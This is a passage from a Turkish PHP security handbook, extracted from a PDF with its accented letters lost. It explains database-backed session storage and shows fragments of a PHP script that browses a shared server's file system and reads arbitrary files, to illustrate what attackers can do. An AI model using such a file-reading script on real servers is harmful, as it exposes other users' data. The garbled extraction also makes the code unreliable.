    Tabiki bir PHP kodu sayesinde bu dosyalara kolayca ulalabilir.php.ini dosyasndaki safe_modebelirteci bu ve buna benzer durumlar engeller. Fakat saldrganlar farkl programlama dillerikullanarak oturum bilgilerine ulamaya alabilirler.Bunun iin yle bir zm uygulanabilir.Herkesin kulland yerler oturum kayt etmek iin kullanlmamaldr. Veritabana, ki sadece sizinhesabnz tarafndan ulalacaktr, oturum bilgilerinin kayd iin kullanlabilir. Bu

    session_set_save_handler() fonksiyonu kullanlarak yaplabilir.Oturum bilgilerinin veritabanndatutulmasn salayan bir PHP rnei :

    PHP Kodu:

  • 8/8/2019 PHP Gvenlii El Kitab

    19/21

    Bu kod veritabannda sessions adnda ve aadaki yapda bir tablo olmasn gerektirir. Tablo

  • 8/8/2019 PHP Gvenlii El Kitab

    20/21

    :mysql> DESCRIBE sessions;

    +--------+------------------+------+-----+---------+-------+

    | Field | Type | Null | Key | Default | Extra |

    +--------+------------------+------+-----+---------+-------+

    | id | varchar(32) | | PRI | | |

    | access | int(10) unsigned | YES | | NULL | |

    | data | text | YES | | NULL | |+--------+------------------+------+-----+---------+-------+

    Bu tablo aadaki SQL komutu ile oluturulabilir :

    SQL Kodu:

    CREATE TABLE sessions (id varchar(32)NOT NULL,access int(10)unsigned,data text,

    PRIMARY KEY(id));

    Oturum bilgileri veritabannda saklandnda oturum gvenlii veritaban gvenliine braklmolur.Dosya Sisteminin TaranmasAadaki kodlar bir sunucuda denendiinde dosya sistemi iindegezintiyi yaplmasn salar.

    PHP Kodu:

  • 8/8/2019 PHP Gvenlii El Kitab

    21/21

    if(is_readable("$dir$filename")){$line=str_pad($size,15);$line.="$filename/";}else{

    $line=str_pad($size,15);$line.="$filename/";}

    }else{if(is_readable("$dir$filename")){$line=str_pad($size,15);$line.="$filename";}else{$line=str_pad($size,15);$line.=$filename;}}echo"$line\\\\\\\\\\\\\\\\\\n";}$handle->close();}

    function cat($file)

    {ob_start();readfile($file);$contents=ob_get_contents();ob_clean();echohtmlentities($contents);returntrue;}?>

    safe_mode belirteci ile bu tr PHP kodlarnn almas engellenir, ama ayn betik baka dillerde

    yazlrsa bu belirtec faydasz kalr.En gzel zm ok deerli bilgilerin veritabanndasaklanmasdr ve yukarda bahsedilen veritaban gvenlii konusunu uygulamaktr($_SERVER[DB_USER] ve $_SERVER[DB_PASS] deikenlerinin bahsedildii yntemgibi).Paylalan bir sunucu kullanmak yerine mmknse uygulamaya zel sunucu kullanmak dahagvenlidir. nk ayn sunucuyu paylalan artniyetli kiilerden korunmak olduka gtr.